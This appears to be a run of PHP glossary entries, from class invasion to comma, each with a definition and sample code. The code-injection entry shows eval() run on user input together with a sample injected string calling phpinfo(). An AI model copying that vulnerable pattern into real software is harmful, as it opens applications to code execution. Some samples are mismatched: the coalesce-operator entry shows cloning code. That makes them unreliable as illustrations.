This means that the host object of a class A can call any method and property on a different object of the same class.
It also works between siblings class. When the called method is defined in the parent class, protected methods are also accessible that way.
Class invasion works on private and protected methods, properties and constants.
Class invasion doesn’t work when running an external closure inside the class.
<?php
// Example of Host class accessing local object (direct class invasion)
class Elephpant {
private $p = 'abc';
private const HABITAT = 'def';
private function privateMethod() { echo __METHOD__; }
function sniff(Elephpant $other) {
echo $other->p;
echo $other::HABITAT; // also works on constant, though less useful
}
function set($s) {
$this->p = $s;
}
function mirrorTest() {
// The current object ($this) calls the local object's private method
$elephpant = new Elephpant;
$elephpant->privateMethod();
}
}
$matriarch = new Elephpant;
$matriarch->set('xyz');
$calf = new Elephpant;
$calf->sniff($matriarch);
// display xyzdef
// class invasion between sibling classes
class theParent {
// Necessary. Could be abstract too.
protected function execute() { echo __METHOD__; }
}
class sister extends theParent {
// cannot be called outside of a sibling class instance
protected function execute() { echo __METHOD__; }
}
class brother extends theParent {
// calling a sister's class method
function greetSibling($sibling) { $sibling->execute(); }
}
(new brother)->greetSibling(new sister);
?>
See Also
Related
Related packages
Class Operator
Class operator is the ::class, added to a class, interface, trait or enumeration identifier. It returns the fully qualified name of the class, according to the current code.
::class is affected by use expressions, but not by class_alias() function.
<?php
// class operator in action
// This is an unknown class, so it displays A\B
echo A\B::class;
// This is an 'use' class, so it displays A\B
use A\B as D;
echo D::class;
// class_alias creates a new class, so it is different.
class E{}
class_alias('E', 'F');
echo F::class;
?>
See Also
Related
Class
Basic class definitions, plural classes, begin with the keyword class, followed by a class name, followed by a pair of curly braces which enclose the definitions of the properties and methods belonging to the class.
A class name may be validated with the following regex: ^[a-zA-Z_\x80-\xff][a-zA-Z0-9_\x80-\xff]*$; and by avoiding a list of PHP keywords, such as namespace, class, interface, etc.
<?php
class Elephpant {
const HABITAT = 1;
private $weight = 2;
function method() {
/// and more
}
}
?>
See Also
Related
- Readonly
- Class Invasion
- Const
- Class Getter Method
- implements
- Inheritance
- Method
- Class Setter Method
- Trait
- Class Wither Method
- Structure
- Class Interface Trait Enumeration (CITE)
- $this
- Lazy Objects
- Polymorphism
- Promoted Properties
- Existence
- Phptoken
- Reflection
- Undefined
- Base Class
- instance
- is_a()
- Naming Conflict
- Non-static
- Static Constant
- Conditioned Structures
- Enumeration (enum)
- extends
- Extension Method
- Properties
- Record Type
- Struct Type
class_alias()
The class_alias() function creates an alias for a class, interface, enum or trait. Then, the alias may be used in place of the original name anywhere in the application, including in use expressions.
Since version 8.3, class_alias() supports the creation of aliases with native PHP classes.
class_alias() is also usable on interfaces, enumerations and traits.
Once created, the objects are of the original class. The alias name doesn’t stick to the objects, and it is not possible to know if the object was created as an alias or the original class. The alias may be used with types.
There is no equivalent to class_alias() for functions, or constants.
<?php
class_alias(stdClass::class, StandardClass::class);
$object = new StandardClass();
// stdClass
print gettype($object);
?>
See Also
Related
class_implements()
class_implements() returns an array of all interfaces implemented by a given class, including interfaces implemented by its parent classes. The keys and values of the returned array are both the interface names.
An optional second parameter, by default true, controls whether the autoloader should be invoked if the class does not yet exist. Pass false to suppress autoloading.
class_implements() returns false if the class does not exist and autoloading is disabled.
Related functions are class_parents(), which returns parent classes, and class_uses(), which returns traits used by the class.
<?php
interface Countable {}
interface Stringable {}
class MyCollection implements Countable, Stringable {
public function count(): int { return 0; }
public function __toString(): string { return ''; }
}
$interfaces = class_implements(MyCollection::class);
// ['Countable' => 'Countable', 'Stringable' => 'Stringable']
// Also works with a string class name
$interfaces = class_implements('MyCollection');
// Works on instances too
$obj = new MyCollection();
$interfaces = class_implements($obj);
var_dump(isset($interfaces['Countable'])); // true
?>
See Also
Related
Clean Architecture
Clean Architecture is a programming paradigm, where code is distributed in four layers: framework, interface adapters, application business rules, enterprise business rules. The layers are linked by the Dependency rule.
See Also
Related
Clean Code
Clean code refers to code that is well-organized, easy to read, and easy to maintain. It follows best practices and principles that contribute to the overall quality of the codebase. Clean code is not only about functionality but also about readability, simplicity, and maintainability. It is a concept introduced by Robert C. Martin in his book Clean Code: A Handbook of Agile Software Craftsmanship.
See Also
Related
Command Line Interface (CLI)
PHP provides support for a Command Line Interface mode, also called CLI, which allows developers to execute PHP scripts directly from the terminal or command prompt without needing a web server. In this mode, commands are passed as a file or lines of text, and the PHP interpreter processes them sequentially. This feature is particularly useful for automation tasks, cron jobs, scripting, testing, or running PHP-based tools. Additionally, the CLI mode offers access to command-line arguments, making it possible to write interactive scripts or utilities that can process user input or parameters at runtime.
See Also
Related
- Webserver
- Server Application Programming Interface (SAPI)
- Read Eval Print Loop (REPL)
- $argc
- $argv
- Common Gateway Interface (CGI)
- FastCGI
- Application
- Desktop Application
- Tool
- Terminal User Interface (TUI)
- Command
- pcntl_signal()
Related packages
Client
A client is a piece of software that connects to a server to send it queries, and receive responses.
The client-server paradigm is a base for internet communications.
See Also
Related
Clock
A clock abstraction encapsulates the current time behind an interface, making code that depends on the current time testable with a controlled, deterministic value instead of the real system clock.
PSR-20 standardizes this with ClockInterface, which exposes a single method: function now(): DateTimeImmutable. Rather than calling new DateTimeImmutable() or time() directly, a ClockInterface is injected as a dependency, giving tests full control over the perceived time.
PHP 8.3 introduced the native DateTimeImmutable::createFromTimestamp() method for testing purposes.
<?php
use Psr\Clock\ClockInterface;
final class Scheduler {
public function __construct(private readonly ClockInterface $clock) {}
public function isExpired(DateTimeImmutable $expiresAt): bool {
return $this->clock->now() > $expiresAt;
}
}
?>
See Also
Related
- DateTime
- DateInterval
- PHP Standards Recommendations (PSR)
- Dependency Injection
- Test
- Immutable
- Interoperability
Related packages
Clone
Clone creates a duplicate of an object.
By default, PHP creates a shallow clone: it only makes a copy of the scalar properties, and it keeps the references and any objects untouched. This means that object properties are shared between an object and its clone.
To perform a deep clone, aka to clone an object and its referenced properties, there is the magic method __clone().
Until PHP 8.5, clone was only an operator. Ever since, it is also a native PHP function, which accepts a second argument to update the public properties. That argument prevents using the magic method __clone, although both may happen at the same time. When __clone and clone() update the same property, the clone() is applied last, and stays.
Cloning had a conflict with the readonly properties, until updating readonly during the cloning operation was allowed, in version 8.5.
<?php
class Elephpant {
protected $weight = 1;
function __clone() {
$this->weight = 2;
}
}
// instantiation
$original = new Elephpant;
// cloning
$twin = clone $original;
$secondTwin = clone($original); // parenthesis are now useful
echo $secondTwin->weight; // 2
$customTwin = clone($original, ['weight' => 3]);
echo $customTwin->weight;
?>
See Also
Related
Close Naming
Close naming is the creation of names that have little differences between them, and which leads human to easily confusing them more often.
The confusion may originate from different sources:
- Names with only one or two letters of difference:
get/set;max/map;type/typo; - Swaps of parts of the name:
xmlDiff/diffXml; - Names with hard to read letters:
x0/xO/xQ - Names with possible opposite means:
host,client,
Close naming does not always yield error, but requires extra attention to ensure it is not confused with another structure.
Close naming may happen with any named structure: variables, methods, classes, constants, etc. It is part of healthy coding conventions.
See Also
Related
Close Tag
PHP commands are placed between the PHP tags, <?php and ?>. The second tag is called the closing tag.
Closing tag allow to finish a PHP tag, and switch back to non-interpreted code. The text following the closing tag is then display raw, until the next PHP tag.
When a file online contains PHP code, the closing tag is not necessary. Its absence even prevents the accidental adding of white space, which create output errors.
<?php
// here, PHP code
// the closing tag
?>Here, raw text, always displayed
<?php
// more PHP code
// No final closing tag
See Also
Related
Closed Source
Closed source, also called proprietary software, means that the source code is not publicly available. Only the creator or owning company can view, modify, or distribute the code.
See Also
Related
ClosedGeneratorException
A ClosedGeneratorException is an exception that occurs when the code tries to perform an operation on a generator that has already been closed. Generators iterates over a set of values without needing to create an array to hold all the values in memory at once.
Once a generator is closed, it cannot be used for further iteration. Any attempt to use methods like next(), send(), or throw() on a closed generator throws a ClosedGeneratorException, to indicate that the generator is no longer available for iteration.
<?php
// Code example from Ben Peachey (see external links)
// Adapted for presentation purposes
class CustomException extends Exception {}
function from() {
yield 1;
throw new CustomException();
}
function gen($gen) {
yield from $gen;
}
$gen = from();
$gens[] = gen($gen);
$gens[] = gen($gen);
foreach ($gens as $g) {
$g->current(); // init.
}
foreach ($gens as $i => $g) {
try {
$g->current();
$g->next();
} catch (\ClosedGeneratorException $e) {
print 'Caught ClosedGeneratorException'.PHP_EOL;
} catch (\Exception $e) {
print 'Caught Generic Exception'.PHP_EOL;
}
}
?>
See Also
Related
Closure Binding
A closure acquires values from its context of creation. When the closure is created in a different context than wished, one may rebind the closure to another context.
This is done with the two methods Closure::bind() and Closure::bindTo().
<?php
class Elephpant {
private static function trumpet() { return 1;}
}
$closure = function() {
// Self is undefined here, since it is not inside a class
return self::trumpet();
};
// Self now defined, and set to Elephpant
$bcl1 = Closure::bind($closure, null, 'Elephpant');
?>
See Also
Related
Closure Class
Closure is a PHP native class that is the result of the closure syntax. It is also the result of an arrow function syntax, and a call to first class callable.
The Closure class offers methods to call the closure, bind it to new objects, or create more, from a callable.
<?php
$closure = function ($a) use ($b) {
return $a + $b + 1;
};
var_dump($closure);
$arrowFunction = fn () => 1;
var_dump($arrowFunction);
$firstClassCallable = strtolower(...);
var_dump($firstClassCallable);
?>
See Also
Related
Closure
Closures, also called lambda functions, are anonymous functions: functions without a name. They are also supported by the eponymous Closure class.
They are close to the arrow-functions. They are also created with the ... operator, also known as the first class callable.
<?php
$closure = function ($a) use ($b) {
return $a + $b + 1;
};
print get_class($closure); // Closure
$closure2 = strtolower(...);
print get_class($closure2); // Closure
$closure3 = fn($a, $b) => $a + $b;
print get_class($closure3); // Closure
?>
See Also
Related
- static
- Arrow Functions
- Anonymous Function
- First Class Callable
- Callables
- Callbacks
- Anonymous Class
- Closure Binding
- Functions
- Return
- Sort
- Use
- Callable Arrays
- Array Callback
- Bind
- Inherited Variable
- Closure Class
- Custom Function
- Lexical Variable
- Currying
- Homoiconicity
- Meta-object Protocol (MOP)
- Recursion
- $this
- array_filter()
- Function Subscripting
- Generator
- Partial Application
- yield from Keyword
- Yield
Cloud
Cloud computing refers to the delivery of computing services, servers, storage, databases, networking, software, analytics…, over the internet. Instead of owning and maintaining physical hardware, developers and organizations rent these resources from cloud providers on a pay-as-you-go basis.
The main service models are:
- IaaS, Infrastructure as a Service: virtual machines, storage, networking
- PaaS, Platform as a Service: managed runtime environments, databases, deployment pipelines
- SaaS, Software as a Service: fully managed applications
For PHP applications, cloud platforms provide hosting environments, e.g. AWS Elastic Beanstalk, Google Cloud Run, Azure App Service…, managed databases, object storage like S3, and serverless functions. The cloud enables horizontal scaling, geographic distribution, and resilience.
<?php
// Reading AWS S3 object using the AWS SDK
require 'vendor/autoload.php';
$s3 = new Aws\S3\S3Client([
'region' => 'eu-west-1',
'version' => 'latest',
]);
$result = $s3->getObject([
'Bucket' => 'my-bucket',
'Key' => 'my-file.txt',
]);
echo $result['Body'];
?>
See Also
Related
- IaaS
- PaaS
- Software-as-a-Service (SAAS)
- Horizontal Scaling
- Microservice
- Docker Container
- Deployment
- Pay-as-you-go
- Docker
- Hosting
- Serverless
Related packages
Content Management System (CMS)
A CMS stands for Content Management System. It’s software that creates, edits, organizes, and publishes content on a website without needing to write code.
PHP has a lot of CMS. Here is a list:
WordPressTYPO3TextpatternSuluProcessWireoctoberCMSJoomlaDrupalBolt CMS
A CMS is a application that deals with publishing content online.
CMS may be open source or proprietary. They usually come with a marketplace, which publishes third-party plugins, extensions or components.
The list above is not exhaustive. It is in alphabetical order.
See Also
Related
Coalesce Operator
The coalesce operator ??, also called the null coalesce or null ternary operator, returns its first operand if it is set and not NULL. Otherwise it will return its second operand. It was introduced in version 7.0 to replace the common but verbose isset($x) ? $x : $default pattern, while also silencing the notice that would normally be raised when reading an undefined variable, array key, or property.
The operator is chainable: $a ?? $b ?? $c evaluates left to right and returns the first operand that is set and not NULL, falling through to the last operand otherwise. Since PHP 7.4, it also has an assignment form, ??=, which assigns the right-hand value only if the left-hand variable is currently unset or NULL, making it convenient for lazily initializing defaults.
Because ?? only checks for NULL, it is not a general-purpose replacement for the ternary operator: falsy-but-non-NULL values such as 0, "", or false are returned unchanged rather than replaced by the fallback.
<?php
class Elephpant { }
// instantiation
$trunk = new Elephpant;
// cloning
$herd = clone $trunk;
?>
See Also
Related
- Ternary Operator
- Colon
- If Then Else
- Short Ternary Operator
- Conditional Structures
- Double
- Nullsafe
- Question Mark ?
- Streamlining
Code Architecture
Code architecture refers to the high-level design and organization of a software system. It defines how the codebase is structured, how components interact, and the principles or patterns used to ensure the system is maintainable, scalable, and robust. Good code architecture is the foundation for building software that is easy to understand, extend, and debug.
Key Aspects of Code Architecture:
- Modularity: breaking the codebase into smaller, reusable modules or components, e.g., classes, functions, packages
- Separation of Concerns: dividing the system into distinct layers or components, each responsible for a specific task, e.g., presentation, business logic, data access
- Directory Layout: organizing files and folders in a logical way, e.g., by feature, layer, or domain
- Namespace Layout: code organization by namespaces
Frameworks bring their own code architecture.
See Also
Related
Code Coverage
Code coverage lists all the source code lines that were used while executing a test.
Each line that is reported by code coverage is a line that contributed to the success of the test. By extension, each line that was not part of the code coverage may be hosting an unexpected behavior, leading to a bug.
See Also
Related
Related packages
Code Duplication
Code duplication happens when the same, or nearly the same, block of code is written more than once in a project. Copy and paste is the most common cause, but it also comes from similar functions written independently.
Duplicated code is harder to maintain: a bug fix or a change has to be applied to every copy, and the copies tend to drift apart over time. Duplication is one of the most common code smells.
Two tools help find it:
- The copy/paste detector,
phpcpd, is a PHP tool that scans the source for duplicated blocks and reports the files and line ranges involved. It is a good first pass to measure how much duplication a project has. deslopfinds, ranks and helps fix duplicated code across a codebase, worst offenders first. It gives the most important duplicates to address before the others.
Duplication is not always bad. Some repetition is cheaper than a wrong abstraction, so the goal is to remove the duplication that causes real maintenance costs.
See Also
Related
Related packages
Code Formatter
A code formatter is an automated tool that apply coding conventions to the source code.
It may, for example, move the opening bracket of a block on the name of the signature or below; it may add a space between a cast operator and its expression; etc.
Code formatters modifies the presentation of the code, and do not change the underlying execution of it: although, some of the coding conventions may cross that line. For example, rewriting != clauses to == in ifthen usually leads to voluminous modifications.
Some code formatters only report specifications violations. Others apply corrections automatically.
Popular coding conventions are PSR-12, or per framework, such as Symfony Coding Standard, CakePHP, CodeIgniter, Wordpress, etc.
<?php
// two distinct coding conventions.
function trumpet() { return 1; }
function forage()
{
return 2;
}
?>
See Also
Related
Related packages
Coding Formatting
Coding formatting is a coding convention that specify how the code should be written and presented. Formatting only impacts the presentation of the code, not its execution.
For example, arrays must be in short array form [1,2,3] instead of long form array(1,2,3). They also should always be on several lines when the number of items is over 5, and the last element must have the trailing comma.
See Also
Related
Code Freeze
A code freeze, also called a feature freeze, is a common practice in software development where all changes to the source code are temporarily halted or restricted for a specific period, typically leading up to a major release or milestone.
See Also
Related
Code Generation
Code generation is the automatic production of source code from a higher-level specification, model, schema, or set of rules. Rather than writing repetitive or boilerplate code by hand, a generator reads a description and emits the corresponding PHP source, which is then used directly or compiled into the application.
Code generation takes several forms:
- Schema-driven generation: an ORM such as Doctrine generates entity classes, migration files, and repository stubs from a database schema or mapping configuration.
- Attribute-driven generation: attributes on classes, properties, and methods, in versions 8.0+, are read by tools such as Symfony’s DI container or Doctrine to emit container configuration, proxy classes, or metadata caches as a build step.
- Scaffolding: frameworks such as Laravel, with
artisan make:*, and Symfony,make:entity,make:controller, generate controllers, models, migrations, and test stubs from a single command. - Proxy generation: libraries such as
ocramius/proxy-manageremit subclass proxies at runtime or ahead of time to implement lazy loading, access interception, or decoration without touching the original class. - AST rewriting:
nikic/php-parserparses PHP source into an AST, applies transformations via a visitor, and regenerates source, used by Rector for automated refactoring and upgrade migrations. - Template-based generation: tools such as
twigor custom scripts emit PHP classes, configuration files, or API clients from templates.
Generated code is typically committed to the repository, so that deployment does not require a build step, or kept out of version control and regenerated as part of CI. The choice depends on whether the generated output is considered an artefact or a first-class source file.
Code generation differs from metaprogramming in that it produces static files before runtime; metaprogramming operates on the live program at runtime.
<?php
// Doctrine: generate entity proxy classes ahead of time (CLI build step)
// php vendor/bin/doctrine orm:generate-proxies
// Symfony: scaffold a new entity with make:entity
// php bin/console make:entity User
// nikic/php-parser: generate a getter method and write it back to the file
use PhpParser\BuilderFactory;
use PhpParser\PrettyPrinter\Standard;
$factory = new BuilderFactory();
$method = $factory->method('getName')
->makePublic()
->setReturnType('string')
->addStmt(new \PhpParser\Node\Stmt\Return_(
new \PhpParser\Node\Expr\PropertyFetch(
new \PhpParser\Node\Expr\Variable('this'), 'name'
)
))
->getNode();
$printer = new Standard();
echo $printer->prettyPrint([$method]);
?>
See Also
Related
- Code Generator
- Metaprogramming
- Template Metaprogramming (TMP)
- Homoiconicity
- Attribute
- Reflection
- Abstract Syntactic Tree (AST)
- Rector
- Scaffolding
- Hygienic Macro
- Intermediate Representation (IR)
- Macro
- Zero-code
Related packages
Code Generator
A code generator is a tool or library that automates the creation of repetitive, boilerplate, or complex code based on predefined templates, configurations, best practices or rules. The goal is to save time, reduce human error, and ensure consistency in the codebase.
PHP code generators are widely used in:
- Scaffolding, that is generating CRUD controllers, models, and views
- API development that is generating API endpoints and documentation
- Database interactions generating ORM classes or PHP code from schema
- Testing, that is generating test cases
- Caching, that is replacing complex build up with inlined code
- Framework-specific code, that is generating Lumen/Laravel migrations or seeders
Code generators are a good choice to speed up creation or update of repeatable code writes. They are not adapted when the code needs to be customized or adapted to a specific circumstance.
Code generators are based on custom templating or facilities that generates arbitrary code using an object-oriented interface.
<?php
use Laminas\Code\Generator\ClassGenerator;
use Laminas\Code\Generator\MethodGenerator;
use Laminas\Code\Generator\FileGenerator;
$class = new ClassGenerator('UserDto');
$class->addProperty('name', null, ClassGenerator::FLAG_PRIVATE);
$constructor = new MethodGenerator('__construct', ['string $name'], MethodGenerator::FLAG_PUBLIC);
$constructor->setBody('$this->name = $name;');
$class->addMethod($constructor);
$file = new FileGenerator();
$file->setClass($class);
file_put_contents('UserDto.php', $file->generate());
?>
See Also
Related
Related packages
Code Injection
A code injection is a vulnerability, where external data is used as PHP code.
In the example below, $_GET is directly used in the eval() function. By using a clever string, as shown in the illustration below, it is possible to assign the variable, and run the phpinfo() command.
Among the solutions to mitigate this problem: filter adequately the incoming data; use prepared statements.
Some PHP functions are sensitive to this kind of attack: eval(), include(), include_once(), require(), require_once(). Dynamic calls are also susceptible to code injection.
<?php
// $_GET['userInput'] = '1; phpinfo()';
eval($myvar = $userInput);
// $_GET['method'] = 'getSafe';
// Any method may be called on the safe object
$data->$method();
?>
See Also
Related
Code Reuse
Code reuse, as in any programming language, refers to the practice of writing code that can be used in multiple parts of an application or across different projects. This approach offers several benefits, including:
- Efficiency: instead of writing the same functionality multiple times, the code is written once and used wherever needed
- Consistency: reusing code promotes consistency across the application and projects, as the same logic is used in multiple places
- Maintenance: when the code needs to be updated or fixed, there is only one place to do it, reducing the time to spread the fix
Code reuse can be achieved through various techniques, including functions, classes, traits, file inclusions and composer components.
<?php
// list elements like humans.
function implodeWithAnd(array $array) : string {
$last = array_pop($array);
return implode(', ', $array).' and '.$last;
}
print implodeWithAnd(['Alice', 'Bob', 'Eve']);
print implodeWithAnd(['Tom', 'Jerry']);
?>
See Also
Related
Code Review
Code review is a systematic process where developers examine each other’s code to identify mistakes, improve quality, check local values usage and ensure adherence to best practices.
Code review is especially valuable due to the language’s flexibility, and multiple solutions to the same problem.
There may be several goals of a code review, including:
- Bug Detection: catch logical errors, or edge cases
- Security: identify vulnerabilities like SQL injection, XSS, or CSRF
- Consistency: ensure the code follows team or project standards
- Performance: optimize slow or inefficient code
- Knowledge Sharing: help team members understand the codebase.
See Also
Related
Code Smell
A code smell refers to any characteristic or symptom in source code that indicates a potential problem or violation of good programming practices. It is a metaphorical term used to describe code that may not be structured optimally or may be prone to bugs, maintainability issues, or other software development problems. Code smells are subjective indicators and do not necessarily indicate a bug or an error in the code, but they highlight areas that may require attention and refactoring.
Long methods, duplicate code are code smells.
Code smells are not strict rules or errors but rather indicators of areas that may need improvement. Recognizing and addressing code smells early in the development process can lead to cleaner, more maintainable, and bug-free code. Automated code analysis tools and code reviews can be helpful in identifying code smells and promoting better coding practices.
See Also
Related
Codepoint
A code point is a numerical value that represents a specific character in an encoding system, such as Unicode. Each character, symbol, or control command in a character set is assigned a unique code point, allowing it to be stored and transmitted in digital systems.
In Unicode, code points are written as U+ followed by a hexadecimal number. For example, the character A has the code point U+0041.
<?php
// The ElePHPant code point
echo $unicodeChar = "\u{1F418}"; //🐘
?>
See Also
Related
Coding Conventions
Coding conventions, also called code style, are a set of guidelines for PHP that recommend source code writing, programming style and practices.
Often, large projects have their own coding convention. When writing for a specific framework or plat-form, it is recommended to use their coding convention to reduce friction.
See Also
Related
Type Coercion
Type coercion, a form of weak typing, is the automatic conversion of a value to match a declared type, when it does not already have that type.
It happens with typed function parameters, return types, and typed properties, whenever strict_types is not active. In that mode, PHP accepts a wider range of scalar values, and converts them to the expected type: a string like '42' is coerced to the integer 42 when a parameter expects int, a number is coerced to a string, and so on.
Not every value can be coerced: an array cannot be coerced to an int, and a non-numeric string cannot be coerced to a float. In such cases, PHP still raises a TypeError, even without strict_types.
Coercion only applies to scalar type declarations. Objects, arrays, and callable are never coerced: they must already match the declared type, or a TypeError is raised, regardless of strict_types.
Coercion is a specific case of type juggling, restricted to the boundary of typed declarations, such as parameters, return values and properties.
<?php
function double(int $trunk): int {
return $trunk * 2;
}
echo double('21'); // 42 : the string is coerced to an int
echo double('abc');
// TypeError: double(): Argument #1 ($trunk) must be of type int, string given
?>
See Also
Related
- strict_types
- Type Juggling
- Cast Operator
- Scalar Types
- Type Checking
- TypeError
- Type System
- Alias Types
Cognitive Complexity
Cognitive complexity is a way of measuring how difficult a piece of code is for a human to understand. Unlike metrics that focus purely on structure or execution paths, cognitive complexity tries to reflect the mental effort required to read, follow, and reason about code.
<?php
if ($a) {
if ($b) {
if ($c) {
// hard to follow
}
}
}
if ($a == 1) {}
elseif ($a === 2) {}
elseif ($a === 3) {}
elseif ($a === 4) {}
else {}
?>
See Also
Related
Related packages
Cohesion
Cohesion measures how closely related and focused the responsibilities of a single module, class, or function are. High cohesion means that a unit has a single, well-defined purpose and all its parts work toward that purpose. Low cohesion means it handles many unrelated concerns.
High cohesion is a desirable property: it makes code easier to understand, test, maintain, and reuse. It is the C in the SOLID principle of Single Responsibility, or SRP, and is the counterpart of low coupling.
Robert C. Martin’s common forms of cohesion, from weakest to strongest:
- Coincidental: parts are grouped arbitrarily, worst case
- Logical: parts perform similar operations, e.g., a utility class
- Temporal: parts are executed at the same time
- Procedural: parts follow a sequence of steps
- Communicational: parts operate on the same data
- Sequential: output of one part is input to the next
- Functional: all parts contribute to a single well-defined task, best case
Architectes aim for high cohesion and low coupling.
<?php
// Low cohesion: the class does too many unrelated things
class Utilities {
public function sendEmail(string $to, string $body): void { /* ... */ }
public function calculateTax(float $price): float { return $price * 0.2; }
public function parseDate(string $date): DateTime { return new DateTime($date); }
}
// High cohesion: each class has one focused responsibility
class Mailer {
public function send(string $to, string $body): void { /* ... */ }
}
class TaxCalculator {
public function calculate(float $price): float { return $price * 0.2; }
}
?>
See Also
Related
- Coupling
- Decoupling
- Single Responsability Principle (SRP)
- SOLID
- Separation Of Concerns
- God Object
- Tech Silo
Cold Cache
A cold cache is a cache that holds little or none of the data an application is about to request, so almost every read falls through to the slower source of truth: a database, an external API, a filesystem, or a heavy computation. The opposite state is a hot-cache, where frequently requested data is already sitting in fast storage.
A cache goes cold after a restart, a deployment that recycles processes, a flush or invalidation, or simply because it was never used before, such as right after provisioning a new server. In-process caches, such as a plain PHP array or opcache, are always cold at the start of every request or every worker process, which is why shared caches, such as Redis or APCu, exist: they stay warm across requests.
A cold cache is not just slower, it is dangerous under load: if many requests hit a cold cache at once, they all fall through to the same backend simultaneously, which is the cache-stampede failure mode. This is why production systems favor cache-warming before traffic arrives, rather than letting the cache go cold and warm up under live load.
<?php
function getUser(CacheInterface $cache, int $id): array
{
// Right after a deploy, the cache is cold: every request below is a miss,
// so every one of them queries the database directly.
return $cache->get("user:$id", function () use ($id) {
return queryDatabaseForUser($id); // slow path, hit on every cold request
});
}
// Simulating a cold cache right after a restart: no entries yet
$cache = new ArrayCache(); // starts empty: fully cold
foreach ([1, 2, 3] as $id) {
getUser($cache, $id); // all 3 calls miss and hit the database
}
// After this point, the same 3 users are cached: the cache is now warmer
getUser($cache, 1); // hit: served from the cache, no database call
?>
See Also
Related
Related packages
Cold Start
A cold start, also known as the cold start problem or cold start latency, is the delay incurred when a serverless function or containerised service must be initialised from scratch before handling a request. The runtime environment, aka the container, the PHP process, the class autoloading, is not yet warm, so the first invocation takes significantly longer than subsequent ones.
In a FaaS environment, aka AWS Lambda, Google Cloud Functions, etc., a cold start involves: provisioning a container, downloading the function package, initialising the PHP runtime, and executing any bootstrap code, framework boot, DI container compilation, autoloader initialisation. For PHP, cold starts commonly range from a few hundred milliseconds to over a second depending on framework size.
Subsequent invocations reuse the warm container and execute in milliseconds. Containers are typically kept warm for a few minutes of inactivity before being torn down.
Mitigation strategies include: provisioned concurrency by pre-warming a fixed number of instances, reducing the deployment package size and bootstrap time, using slim frameworks or no framework for latency-sensitive functions, and keeping functions warm via scheduled pings.
<?php
// Bref, PHP on Lambda, minimise cold start by avoiding heavy bootstrap
// Bad: full Symfony kernel boot on every cold start
$kernel = new Kernel('prod', false);
$kernel->boot(); // loads 300+ classes, compiles DI container
// Better for Lambda: pre-compiled container, minimal bootstrap
// Or use a micro-runtime that skips the framework entirely
return function (array $event): array {
// Lightweight handler: only what this function needs
$name = $event['queryStringParameters']['name'] ?? 'world';
return [
'statusCode' => 200,
'body' => json_encode(['message' => 'Hello, ' . $name . '!']),
];
};
// Provisioned concurrency (configured in AWS, not in PHP):
// keeps N containers permanently warm, eliminating cold starts for baseline traffic
?>
See Also
Related
Collation
Collation is the set of rules that define how strings are compared and sorted, and it is far less obvious than it sounds because different languages order the same characters differently. A naive comparison, such as PHP’s strcmp or a plain sort(), compares strings byte by byte according to the underlying encoding, which places accented letters, ligatures, and non-Latin scripts in positions that look wrong to a human reader; for example, byte order alone may sort ‘pêche’ after ‘z’ instead of next to ‘pomme’ as a French speaker would expect. Proper, locale-aware sorting instead follows the Unicode Collation Algorithm, aka UCA, which PHP exposes through the Collator class in the intl extension: constructing a Collator for a given locale and calling its sort() or compare() methods orders strings the way a native reader of that language expects, correctly handling accents, case, and script-specific ordering rules. The same underlying idea also appears outside PHP itself, notably as the COLLATE clause in databases like MySQL and PostgreSQL, which determines how that database engine compares and indexes text columns.
<?php
$words = ['pomme', 'poire', 'pêche', 'prune'];
$collator = new Collator('fr_FR');
$collator->sort($words);
print_r($words);
// pêche, poire, pomme, prune
?>
See Also
Related
Collection
A collection is an array in which only elements of the same type can be stored.
Collections may be build with array, or dedicated classes. There is native no support for native PHP collections, although there are several packages which provide such features.
See Also
Related
- Enumeration (enum)
- Hash
- Associative Array
- Index For Arrays
- Array, []
- Map
- Generics
- Bucket
- Data Structure
- Data Structure
- Indexed Array
- Sequence
- Set
- SplDoublyLinkedList
- SplObjectStorage
Related packages
Collision
A collision, or name collision, happens when two entities of the same type have two distinct definitions. This usually leads to a PHP Fatal error, as the engine can’t tell the difference between the two structures.
Note that structures of different types may have the same name, although it might lead to ambiguities.
Structures with the same name, and defined in different namespaces are possible. The naming collision may happen at import time, a.k.a. with a use expression, and may be solved with an alias.
Some structures resolve collisions by simply overwriting the previous one: this is the case for variables.
<?php
function trumpet() {}
// name collision: no two functions can have the same name
// name collision: function names are case insensitive, so trumpet === TRUMPET
// function TRUMPET() {}
// TRUMPET as a constant and TRUMPET as a function are distinct elements.
const TRUMPET = 1;
// variable collisions are silent : the variable's value is simply changed
$trunk = 1;
foreach($herd as $trunk) {
print $trunk; // may print a different value than 1
}
?>
See Also
Related
Colon
Colons are used in a variety of situations:
- With named parameters, to separate the name from the value
- With labels, for goto
- With ternary operator, separated or not from the question mark
- In
include_pathandopen_basedir, double-colon is used as a separator
The double colon is a distinct operator.
<?php
goto there;
there:
foo(a: 3); //
$b = $a ? 'a' : 'b';
$c = $c ?: 'a';
?>
See Also
Related
- Goto
- Goto Labels
- Ternary Operator
- Coalesce Operator
- Named Parameters
- Separator
- Scope Resolution Operator ::
- Semicolon ;
- Static Class
Column Database
A column database, or column-oriented database, columnar database, or column-store, stores data by column rather than by row. In a traditional row-oriented database, all the fields of a record are stored together. In a columnar database, each column’s values are stored contiguously.
This layout is particularly efficient for analytical queries that read only a few columns across a large number of rows, OLAP workloads, because:
- Only the columns needed for a query need to be read from disk
- Columnar storage compresses well, since similar values are adjacent
- Aggregate functions, such as SUM, AVG, COUNT, etc. operate on contiguous memory
Popular columnar databases used with PHP include ClickHouse, Apache Parquet and its file format, Amazon Redshift, and Google BigQuery.
Row-oriented databases, such as MariaDB, MySQL, PostgreSQL, remain better for OLTP workloads that access full records.
<?php
// Example: querying ClickHouse (columnar DB) via HTTP
$ch = curl_init('http://localhost:8123/?query=SELECT+sum(price)+FROM+orders+FORMAT+JSON');
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
$result = curl_exec($ch);
curl_close($ch);
$data = json_decode($result, true);
echo $data['data'][0]['sum(price)'];
?>
See Also
Related
Comma
Commas are syntax elements, to separate elements when provided as a list. There are several situations where a list of elements may be provided:
- Argument separator, including with
echo - Parameter separator
- Trait name separator, in
useexpression when importing a trait in a class - Array element separator
- List separator, where unused values may be omitted, leaving commas back to back
Comma are important in the CSV and JSON formats, and other such formats.
Comma do not have a value by themselves.
<?php
function trumpet($trunk, $tusk) {
return [$trunk, 2, $tusk];
}
list($herd, ,$ivory) = trumpet(1, 2);
[$herd, ,$ivory] = trumpet(1, 2);
echo 'a', 'b', 'c';
?>
See Also
Related
- Parameter
- Argument
- Array, []
- List
- Comma Separated Values (CSV)
- JavaScript Object Notation (JSON)
- Trailing Comma
Command Bus
